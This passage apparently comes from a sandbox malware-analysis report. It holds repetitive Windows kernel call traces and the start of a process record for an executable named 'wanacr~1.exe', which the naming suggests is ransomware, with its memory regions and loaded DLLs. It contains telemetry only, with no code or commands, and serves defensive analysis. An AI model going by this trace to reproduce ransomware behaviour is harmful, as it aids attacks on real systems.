(FastMutex=0xffffe0000111b790) [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.406] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.406] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.406] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.407] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.408] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.408] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.487] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.487] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.487] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.539] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.539] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.540] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.607] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.607] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.627] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.627] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.627] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.627] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.628] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.628] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.628] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.628] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.740] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.740] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.740] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.740] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0123.740] EngAllocMem () returned 0xfffff9014251f030 [0123.740] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.740] MmMapViewOfSection (in: SectionObject=0xffffc00001a37e20, Process=0xffffe00000c8f900, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021cb1ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x7c664d0000, SectionOffset=0xffffd00021cb1ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0123.740] EngCreateBitmap () returned 0xffffffff860506d0 [0123.740] EngAssociateSurface () returned 0x1 [0123.740] EngLockSurface () returned 0xfffff901409baad8 [0123.740] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000160c120 [0123.740] KeInitializeEvent (in: Event=0xffffe0000160c138, Type=0x1, State=0 | out: Event=0xffffe0000160c138) [0123.740] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.747] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.747] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.747] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.748] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.748] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.748] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.748] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.748] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.749] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.749] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.753] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.753] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.754] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.830] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.830] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.830] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.894] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.894] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.908] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.955] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.955] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0123.955] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.971] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0123.971] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0123.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0123.971] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.017] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.017] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.017] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.033] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0124.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.033] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0124.033] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.078] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.078] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.078] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.094] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0124.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.094] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000160c120) [0124.094] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.149] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.149] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.149] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.149] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.186] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.186] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.191] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.191] EngAllocMem () returned 0xfffff9014087f840 [0124.191] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.192] MmMapViewOfSection (in: SectionObject=0xffffc00001ff80c0, Process=0xffffe00000c8f900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021cb1ed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0x7c66520000, SectionOffset=0xffffd00021cb1ed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0124.192] EngCreateBitmap () returned 0x27050700 [0124.192] EngAssociateSurface () returned 0x1 [0124.192] EngLockSurface () returned 0xfffff9014087f028 [0124.192] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe0000139abd0 [0124.192] KeInitializeEvent (in: Event=0xffffe0000139abe8, Type=0x1, State=0 | out: Event=0xffffe0000139abe8) [0124.192] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.193] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.193] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.194] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.194] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.194] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.194] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.194] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.195] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.209] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.209] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.209] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.289] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.289] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.289] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.315] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.315] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.331] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.331] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.331] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.379] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.379] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.380] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.380] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.393] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.393] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.393] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.439] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.439] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.440] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.440] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.456] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.456] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.456] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.500] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.500] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000139abd0) [0124.500] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.517] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.518] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.518] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.539] IoGetCurrentProcess () returned 0xffffe00000c8f900 [0124.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000111b790) [0124.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0124.638] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0x7c66520000) returned 0x0 [0124.638] MmUnmapViewOfSection (Process=0xffffe00000c8f900, BaseAddress=0x7c63010000) returned 0x0 Process: id = "73" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x5d44a000" os_pid = "0x980" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "72" os_parent_pid = "0x958" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8671 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8672 start_va = 0xad711d0000 end_va = 0xad711effff entry_point = 0x0 region_type = private name = "private_0x000000ad711d0000" filename = "" Region: id = 8673 start_va = 0xad711f0000 end_va = 0xad711fefff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad711f0000" filename = "" Region: id = 8674 start_va = 0xad71200000 end_va = 0xad715fffff entry_point = 0x0 region_type = private name = "private_0x000000ad71200000" filename = "" Region: id = 8675 start_va = 0xad71600000 end_va = 0xad71603fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71600000" filename = "" Region: id = 8676 start_va = 0x7ff6cf100000 end_va = 0x7ff6cf122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cf100000" filename = "" Region: id = 8677 start_va = 0x7ff6cf12d000 end_va = 0x7ff6cf12efff entry_point = 0x0 region_type = private name = "private_0x00007ff6cf12d000" filename = "" Region: id = 8678 start_va = 0x7ff6cf12f000 end_va = 0x7ff6cf12ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6cf12f000" filename = "" Region: id = 8679 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8680 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8681 start_va = 0xad71610000 end_va = 0xad71611fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad71610000" filename = "" Region: id = 8682 start_va = 0xad71620000 end_va = 0xad71621fff entry_point = 0x0 region_type = private name = "private_0x000000ad71620000" filename = "" Region: id = 8683 start_va = 0xad71740000 end_va = 0xad71b3ffff entry_point = 0x0 region_type = private name = "private_0x000000ad71740000" filename = "" Region: id = 8684 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8685 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8686 start_va = 0xad711d0000 end_va = 0xad711dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000ad711d0000" filename = "" Region: id = 8687 start_va = 0x7ff6cf000000 end_va = 0x7ff6cf0fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cf000000" filename = "" Region: id = 8688 start_va = 0xad71630000 end_va = 0xad716adfff entry_point = 0xad71630000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8689 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8690 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8691 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8692 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8693 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8694 start_va = 0xad711e0000 end_va = 0xad711e6fff entry_point = 0x0 region_type = private name = "private_0x000000ad711e0000" filename = "" Region: id = 8695 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 8696 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = 